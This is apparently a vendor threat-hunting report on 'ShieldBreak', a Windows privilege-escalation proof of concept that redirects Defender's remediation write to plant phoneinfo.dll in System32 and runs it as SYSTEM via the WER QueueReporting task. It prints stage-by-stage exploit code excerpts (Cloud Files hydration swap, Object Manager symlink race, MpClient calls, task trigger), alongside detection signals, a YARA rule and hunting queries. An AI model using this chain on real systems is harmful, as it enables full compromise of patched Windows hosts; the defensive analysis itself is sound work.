Cloud Sync Root RegistrationShieldBreak: Hunting Windows Defender Remediation Abuse and Cloud Files Hijacking

Following GreenPlasma, YellowKey and MiniPlasma, RoguePlanet and GreatXML, and LegacyHive, the Nightmare-Eclipse disclosure actor has published ShieldBreak — its latest Windows proof of concept (PoC) released shortly after Microsoft's August 2026 Patch Tuesday.

Like its predecessors, ShieldBreak explores a different corner of the Windows operating system. Where RedSun abused the Cloud Files API and TieringEngineService to redirect a Defender write into System32, and LegacyHive weaponized offline registry hive manipulation and the NT Object Manager namespace, ShieldBreak combines Cloud Files, Object Manager namespace manipulation, direct Windows Defender API invocation, and a timing race in the remediation path. The result is a self-contained local privilege escalation chain in which Windows Defender's own clean engine is redirected to write an attacker-supplied DLL to C:\Windows\System32\phoneinfo.dll, followed by SYSTEM execution through the built-in Windows Error Reporting task.

This report analyzes ShieldBreak from a defender's perspective. It reconstructs the complete execution chain, explains why each stage matters, and maps the resulting behavior to practical EDR and SIEM hunting opportunities.

Observable Exploitation in Action

The LevelBlue OpsCTI and THOR teams reviewed and reproduced the complete ShieldBreak exploitation chain with the August 2026 Patch Tuesday updates installed, confirming the PoC functions as described.

Unlike LegacyHive, which requires a helper account logon to trigger the final stage, ShieldBreak is fully self-contained and runs to full SYSTEM completion from a standard user account on any fully patched Windows 11 24H2 or Windows Server 2025 system with Windows Defender in its default configuration. The exploit completes in approximately eight to12 seconds on an unloaded system.

The PoC does not require any additional arguments, and can be run by simply double clicking on the executable “ShieldBreak.exe”

The PoC unfolds in seven stages.

Stage 1: Payload Extraction and Environment Setup

Before interacting with Windows security components, ShieldBreak prepares the conditions required for the later race. The PoC extracts embedded ZIP and DLL resources, raises its process and thread priority, creates a named pipe for the final SYSTEM callback, and establishes a hidden working directory at the root of C:. The elevated scheduling priority is important because the exploit ultimately depends on winning a very small timing window during Defender's remediation transaction.

// Priority elevation — intended to improve the odds of winning the remediation race
SetPriorityClass(GetCurrentProcess(), HIGH_PRIORITY_CLASS);
SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);

// Named pipe — the payload DLL connects here after SYSTEM execution
HANDLE hpipe = CreateNamedPipe(
 L"\\??\\pipe\\SHIELDBREAK",
 PIPE_ACCESS_DUPLEX | FILE_FLAG_FIRST_PIPE_INSTANCE, ...);

// Working directory — hidden and writable by Everyone
std::wstring workdir = L"C:\\ShieldBreak_" + mainguid;

Figure 1. Payload extraction, priority elevation, named-pipe creation, and working-directory setup used by the PoC.

The named pipe is a particularly useful artifact in the released PoC. Its SHIELDBREAK name is hardcoded and can serve as a near-zero false-positive atomic indicator for this implementation. More generally, defenders should look for a medium-integrity process creating a hidden, world-writable directory directly beneath C:\ and simultaneously preparing embedded payload resources.

Stage 2: Registering a Fake Cloud Files Sync Provider

ShieldBreak next turns the working directory into a Cloud Files synchronization root. The provider identifies itself as "Flubber" and uses a hardcoded provider GUID. It then creates a placeholder named BERLIN, making the file appear to Windows as a cloud-resident object that can be hydrated on demand.

This is the same broad API surface previously observed in RedSun, but the objective is different. RedSun used Cloud Files to redirect a trusted service's write. ShieldBreak uses the hydration callback to control what Windows Defender reads during the scan and what content becomes available during the later clean operation.

CF_SYNC_REGISTRATION reg = { 0 };
reg.ProviderName = L"Flubber";
reg.ProviderId = {B196E670-59C7-4D41-9637-C62D80541321};

CfRegisterSyncRoot(workdir.c_str(), &reg, &policies, ...);

Figure 2. Registration of the fake Cloud Files synchronization provider.

// BERLIN appears as an undownloaded cloud file
ph.RelativeFileName = L"BERLIN";
ph.FsMetadata.FileSize.QuadPart = dwSize_zip;

CfCreatePlaceholders(workdir.c_str(), &ph, 1, ...);

Figure 3. Creation of the BERLIN Cloud Files placeholder.

// Hydration callback: ZIP on first read, DLL on subsequent reads
void CALLBACK CLBK(...) {
  opParams.TransferData.Buffer =
   (*RNA == 1) ? pResourceData_zip // → triggers WD detection
         : pResourceData_dll; // → written to System32

  CfExecute(&opInfo, &opParams);
}

Figure 4. Two-phase hydration callback. The first read supplies the ZIP bait; later hydration supplies the DLL.

The important defensive transition is not simply CfRegisterSyncRoot. Cloud Files is a legitimate Windows facility used by commercial synchronization products. The stronger signal is an unapproved process registering a new sync root, creating a placeholder, and then immediately moving into native Object Manager and Defender activity.

In the published PoC, the provider name and GUID are hardcoded. CldApi.dll loading by a process that is not a known synchronization agent provides an additional image-load signal.

Stage 3: Building a Shadow Namespace in the NT Object Manager

The next stage moves below the normal filesystem namespace. ShieldBreak dynamically resolves the native NtCreateDirectoryObjectEx and NtCreateSymbolicLinkObject APIs from ntdll.dll and creates two Object Manager directories beneath \BaseNamedObjects\Restricted\. The second directory is created as a shadow of the first, allowing name resolution to fall through to the target namespace.

Two symbolic links named WD_SCAN are then created. One initially points toward the working directory containing BERLIN; the other points toward a CLFS-related path. This gives the exploit a namespace-level redirection layer that can later be changed without touching the underlying NTFS path.

_NtCreateDirectoryObjectEx =
  GetProcAddress(ntdll, "NtCreateDirectoryObjectEx");

// Shadow directory: unresolved names fall through to targetdir
ObjectDirMgr* shadowdir = new ObjectDirMgr(
 L"\\BaseNamedObjects\\Restricted\\WD_SHADOW_<GUID>",
 targetdir->GetHandle());

Figure 5. Dynamic resolution of the native Object Manager API used to create the shadow namespace.

// SHADOW: WD_SCAN → C:\ShieldBreak_<GUID>
ObjectSymlinkMgr* shlnk = new ObjectSymlinkMgr(
 L"WD_SCAN", ntworkdir.c_str(), shadowdir->GetHandle());

// TARGET: WD_SCAN → CLFS path
ObjectSymlinkMgr* mnlnk = new ObjectSymlinkMgr(
 L"WD_SCAN", clfsPath.c_str(), targetdir->GetHandle());

Figure 6. Conflicting WD_SCAN symbolic links establish the initial namespace redirection.

scan_target =
  L"\\\\.\\globalroot\\BaseNamedObjects\\Restricted\\"
  L"WD_SHADOW_<GUID>\\WD_SCAN\\BERLIN";

Figure 7. GLOBALROOT scan path used to make Defender resolve BERLIN through the shadow namespace.

This is one of the strongest behavioral indicators in the chain. Ordinary user-mode software rarely creates Object Manager directories and symbolic links after system initialization. The combination of NtCreateDirectoryObjectEx and NtCreateSymbolicLinkObject from the same process should therefore receive high hunting priority, particularly when the paths contain \BaseNamedObjects\Restricted\.

Stage 4: Driving Windows Defender Directly via MpClient.dll

With the namespace in place, ShieldBreak directly loads Microsoft's MpClient.dll rather than invoking a Defender scan through the Windows Security interface or a conventional command-line utility. The PoC resolves Defender management, scanning, threat, and clean functions dynamically, opens the Defender RPC interface, scans BERLIN, and then starts the clean operation.

The distinction matters because the exploit needs precise control over the scan-to-clean transition. The clean callback provides the synchronization point used by the next stage.

GetWDInstallDir(dllpath);
HMODULE hm = LoadLibrary(dllpath); // MpClient.dll

_MpManagerOpen = GetProcAddress(hm, "MpManagerOpen");
_MpScanStart = GetProcAddress(hm, "MpScanStart");
_MpThreatOpen = GetProcAddress(hm, "MpThreatOpen");
_MpThreatEnumerate = GetProcAddress(hm, "MpThreatEnumerate");
_MpCleanOpen = GetProcAddress(hm, "MpCleanOpen");
_MpCleanStart = GetProcAddress(hm, "MpCleanStart");
_MpCleanControl = GetProcAddress(hm, "MpCleanControl");
_MpHandleClose = GetProcAddress(hm, "MpHandleClose");

Figure 8. Direct loading of MpClient.dll and runtime resolution of Defender management and scanning functions.

// Open Defender RPC binding
_MpManagerOpen(NULL, &hbinding);

// Scan BERLIN through the Object Manager shadow path
scaninfo.Path = scan_target;
_MpScanStart(
hbinding, MPSCAN_TYPE_RESOURCE, 0x60004002,
&scanrsrc, NULL, &scanctx);

// After detection: open and start the clean operation
_MpCleanOpen(scanctx, NULL, &cleanctx);
_MpCleanStart(cleanctx, NULL, callbackaddr);

Figure 9. Defender RPC binding, scan of BERLIN, and transition into the clean operation.

MpClient.dll loading by an unexpected process is a strong detection opportunity because the set of normal consumers is small and stable. In the published analysis, the expected processes include MsMpEng.exe, MpCmdRun.exe, NisSrv.exe, ConfigSecurityPolicy.exe, and MpSigStub.exe. The API-resolution sequence is even more useful when correlated with the Object Manager and Cloud Files stages.

From Defender's perspective, the request is authenticated and structurally legitimate: a client opens the Defender interface, requests a scan, receives a detection, and initiates a clean operation. The malicious intent is in how the caller controls the path and the content returned by the Cloud Files provider.

Stage 5: The Timing Race — CLFS Lock and Symlink Swap

The core of ShieldBreak is a time-of-check to time-of-use (TOCTOU) race during Defender's clean transaction. A background thread monitors the working directory for the CLFS log file created by the clean operation. When that file appears, the exploit acquires an exclusive lock with LockFileEx, holding Defender in the middle of its transaction.

While Defender is blocked, ShieldBreak deletes the shadow WD_SCAN link and replaces it with a link targeting \??\UNC\127.0.0.1\C$\Windows\System32\phoneinfo.dll. The path Defender is already using therefore resolves to a different destination without requiring an NTFS junction.

// Watch for Defender to create the CLFS clean log
do {
 ReadDirectoryChangesW(
  hmonitor, buff, ...,
  FILE_NOTIFY_CHANGE_FILE_NAME, ...);

if (fni->Action == FILE_ACTION_ADDED)
break;
} while (1);

// Hold Defender in the clean transaction
LockFileEx(
  hclfs_file,
  LOCKFILE_EXCLUSIVE_LOCK | LOCKFILE_FAIL_IMMEDIATELY,
...);

Figure 10. Monitoring for the CLFS clean artifact and acquiring an exclusive lock.

// Remove the original link: WD_SCAN → workdir
delete shlnk;

// Replace it: WD_SCAN → System32\phoneinfo.dll
new ObjectSymlinkMgr(
 L"WD_SCAN",
 L"\\??\\UNC\\127.0.0.1\\C$\\Windows\\System32\\phoneinfo.dll",
 foodir->GetHandle());

Figure 11. Replacing WD_SCAN so subsequent I/O resolves to the System32 destination.

This is the same general class of race used by earlier Defender remediation research, but ShieldBreak relocates the redirection mechanism into the NT Object Manager namespace. That distinction is important for hunters because the critical delete-and-recreate operation is not represented by conventional filesystem events.

LockFileEx against a CLFS file by a non-system process is a useful contextual signal. ReadDirectoryChangesW monitoring of a newly created GUID-prefixed directory under C:\ provides another signal, but neither should be treated as a standalone detection.

Stage 6: Restarting Hydration — Payload DLL Written to System32

Once the symlink has been swapped and Defender is held in the clean transaction, ShieldBreak restarts Cloud Files hydration. This time it advertises the DLL's size instead of the ZIP's size. The hydration callback therefore supplies the DLL bytes, while Defender's clean engine continues to operate through the redirected WD_SCAN path.

// Restart hydration with the DLL's size
cfm.FileSize.QuadPart = dwSize_dll;
opParams.RestartHydration.FsMetadata = &cfm;

CfExecute(&opInfo, &opParams);
// Defender's clean engine now writes the DLL to phoneinfo.dll

Figure 12. Restarting Cloud Files hydration so the callback supplies the DLL payload.

// Wait for Defender to finish creating phoneinfo.dll
do {
 stat = NtCreateFile(
   &hlock,
   FILE_READ_DATA | FILE_EXECUTE | SYNCHRONIZE,
   ...);
} while (stat != STATUS_SUCCESS);

// Keep the planted DLL mapped so remediation cannot remove it
HANDLE hmap = CreateFileMapping(
 hlock, NULL,
 PAGE_EXECUTE_READ | SEC_IMAGE,
 NULL, NULL, NULL);

MapViewOfFile(
 hmap,
 FILE_MAP_READ | FILE_MAP_EXECUTE,
...);

Figure 13. Opening and mapping the newly created System32 DLL as an executable image.

The published analysis identifies C:\Windows\System32\phoneinfo.dll as the strongest single indicator in the chain. The file is not expected to exist natively on supported Windows versions. Its creation should therefore be treated as a high-priority event regardless of which process appears as the writer.

An important triage detail also is that telemetry can show MsMpEng.exe as the process responsible for the file write. That is expected from the exploit's design: Defender is the component actually performing the privileged write. Analysts therefore need to correlate the file creation with the earlier MpClient.dll load and the Object Manager and Cloud Files activity rather than treating the Defender write as benign remediation in isolation.

Stage 7: SYSTEM Execution via the WER QueueReporting Task

The final stage converts the planted DLL into code execution. ShieldBreak creates a crafted Windows Error Report in the system WER report queue and triggers the built-in QueueReporting scheduled task through the Task Scheduler COM interface. The task runs as SYSTEM and causes wermgr.exe to process the report, loading phoneinfo.dll from System32.

// Plant a crafted WER report
wsprintf(
 werdir,
 L"C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\"
 L"Kernel_c0000000_A_B_C-C-D-E-%ws",
 mainguid);

CreateDirectory(werdir, NULL);
WriteFile(hwerfile, hResData_wer, dwSize_wer, ...);

Figure 14. Creating the staged Windows Error Report and placing it in the WER queue.

// Trigger QueueReporting
CoCreateInstance(
  CLSID_TaskScheduler,
  NULL,
  CLSCTX_INPROC_SERVER,
...);

pTaskSvc->GetFolder(
 L"\\Microsoft\\Windows\\Windows Error Reporting",
 &taskfolder);

taskfolder->GetTask(L"QueueReporting", &taskex);
taskex->Run(_variant_t(), &runningtask); // → executes as SYSTEM

Figure 15. Triggering QueueReporting through Task Scheduler COM.

// SYSTEM payload connects to the user-created callback channel
ConnectNamedPipe(hpipe, NULL);

Figure 16. Completion signal: the SYSTEM payload connects back to the exploit's named pipe.

The WER task is normally legitimate, so the trigger alone is not sufficient for detection. The useful signal is the compound sequence: a user process creates a report directory under ReportQueue, QueueReporting is invoked outside its expected operational context, wermgr.exe loads a newly created DLL from System32, and a SYSTEM-integrity process connects to the previously created SHIELDBREAK pipe.

This execution vehicle also distinguishes ShieldBreak from earlier Nightmare-Eclipse techniques. Instead of modifying an existing system binary directly, the PoC places a DLL in a name-hijack position and uses a trusted Windows component to load it.

Detection, Hunting, and Defensive Assessment

ShieldBreak is best detected through behavioral correlation rather than any single static indicator. The attack deliberately uses legitimate Windows capabilities: Cloud Files, native Object Manager APIs, Defender interfaces, CLFS operations, and Task Scheduler. The malicious behavior emerges from their sequence and proximity.

The strongest detection opportunities identified from the PoC are listed below, followed by threat hunting examples.

Signal 1: phoneinfo.dll Created in System32

This is the strongest unconditional detection point — phoneinfo.dll is not a native Windows DLL; therefore, its creation under C:\Windows\System32 should receive immediate attention regardless of the initiating process.

Figure 17. phoneinfo.dll created in System32

Signal 2: MpClient.dll Loaded by a Non-Defender Process

The set of expected MpClient.dll consumers is small. A load by an unrelated process becomes especially significant when followed by runtime resolution of MpManagerOpen, MpScanStart, MpCleanOpen, MpCleanStart, or MpCleanControl.

Figure 18. MpClient.dll Loaded by ShieldBreak.exe

Signal 3: Wermgr.exe Loading an Unexpected DLL

Suspicious the DLLs normally being loaded by wermgr.exe can be a key finding related to malicious activity in an environment. An unexpected image load, particularly phoneinfo.dll, catches the execution stage after the payload has already been planted.

Figure 19. wermgr.exe loading phoneinfo.dll

Conclusion

ShieldBreak demonstrates another example of how Windows-native functionality can be combined to produce behavior that is difficult to identify through conventional malware indicators.

The individual components (Cloud Files, Object Manager APIs, symbolic links, alternate data streams, native file operations, and Defender interfaces) are legitimate Windows capabilities. The security relevance comes from their use together.

For threat hunters, the most valuable indicators are therefore not individual strings or filenames, but the unusual combination of custom Object Manager directories, native symbolic links, an arbitrary Cloud Files sync root, GLOBALROOT\BaseNamedObjects paths, direct interaction with MpClient.dll and Defender scanning APIs, and subsequent filesystem and CLFS-related activity.

As with LegacyHive, the broader lesson is that rare combinations of legitimate Windows primitives can provide stronger detection opportunities than any single suspicious API.

MITRE ATT&CK Mapping

Indicators of Compromise (IOCs)

The IOCs below cover ShieldBreak as publicly released. String-based indicators (pipe name, provider name, directory prefix, GUID) should be treated as variant-specific. Behavioral IOCs (particularly phoneinfo.dll creation and MpClient.dll loading by non-WD processes) are variant-independent.

File-Based IOCs

Behavioral / Process IOCs

Appendix A: YARA Rule for ShieldBreak Binary Detection

rule ShieldBreak_WD_Pipeline_LPE_PoC
{
meta:
 description = "Detects ShieldBreak Windows Defender LPE PoC from Nightmare-Eclipse"
author = "LevelBlue"
date = "2026-08"
tlp = "WHITE"

strings:
   // NT Object Manager — shared fingerprint with LegacyHive
   $ntobj1 = "NtCreateSymbolicLinkObject" ascii wide
   $ntobj2 = "NtCreateDirectoryObjectEx" ascii wide
   $ntobj3 = "RtlInitUnicodeString" ascii wide
   // Cloud Files API abuse
   $cld1 = "CfRegisterSyncRoot" ascii wide
   $cld2 = "CfCreatePlaceholders" ascii wide
   $cld3 = "CfConnectSyncRoot" ascii wide
   $cld4 = "CfExecute" ascii wide
   $cld5 = "CfHydratePlaceholder" ascii wide

   // Defender API direct invocation
   $mp1 = "MpManagerOpen" ascii wide
   $mp2 = "MpScanStart" ascii wide
   $mp3 = "MpCleanOpen" ascii wide
   $mp4 = "MpCleanStart" ascii wide
   $mp5 = "MpCleanControl" ascii wide

   // WER / Task Scheduler execution chain
   $wer1 = "QueueReporting" wide ascii
   $wer2 = "Windows Error Reporting" wide ascii
   $wer3 = "ReportQueue" wide ascii

   // Payload destination — high confidence
   $dest1 = "phoneinfo.dll" wide ascii
   $dest2 = "SHIELDBREAK" wide ascii
   $dest3 = "\\BaseNamedObjects\\Restricted" wide ascii
   $dest4 = "UNC\\127.0.0.1\\C$\\Windows\\System32" wide ascii

condition:
  (2 of ($ntobj*)) and
  (3 of ($cld*)) and
  (3 of ($mp*)) and
  ($wer1 or $wer2) and
  (2 of ($dest*))
}

Appendix B: SentinelOne Threat Hunting Queries

Phoneinfo.dll File Creation

tgt.file.path matches "\\\\Windows\\\\(SysWOW64|System32)\\\\phoneinfo\\.dll" OR task.path matches "\\\\Windows\\\\(SysWOW64|System32)\\\\phoneinfo\\.dll"

MpClient.dll Loaded by Non-WD Process

module.path contains "\\MpClient.dll"
AND NOT (src.process.image.path contains "\\MsMpEng.exe"
 OR src.process.image.path contains "\\MpCmdRun.exe"
 OR src.process.image.path contains "\\NisSrv.exe"
 OR src.process.image.path contains "\\ConfigSecurityPolicy.exe")

“WD_SCAN” Suspicious Symlink to C:\<File_GUID>

indicator.name = 'SymlinkCreated' AND indicator.name = 'SymlinkCreated' AND indicator.metadata matches 'Source\\ link:\\ \\"WD_SCAN\\",\\ Target\\ file:.*\\"C:\\\\[^\\\\]+_\\{[A-Z0-9]{8}-[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{4}-[A-Z0-9]{12}\\}.*'

Suspicious Hardcoded Kernel Parameters in WER ReportQueue Directory

tgt.file.path matches "\\\\ProgramData\\\\Microsoft\\\\Windows\\\\WER\\\\ReportQueue\\\\Kernel_c0000000_A_B_C-C-D-E-.*\\\\Report\\.wer" OR task.path matches "\\\\ProgramData\\\\Microsoft\\\\Windows\\\\WER\\\\ReportQueue\\\\Kernel_c0000000_A_B_C-C-D-E-.*\\\\Report\\.wer"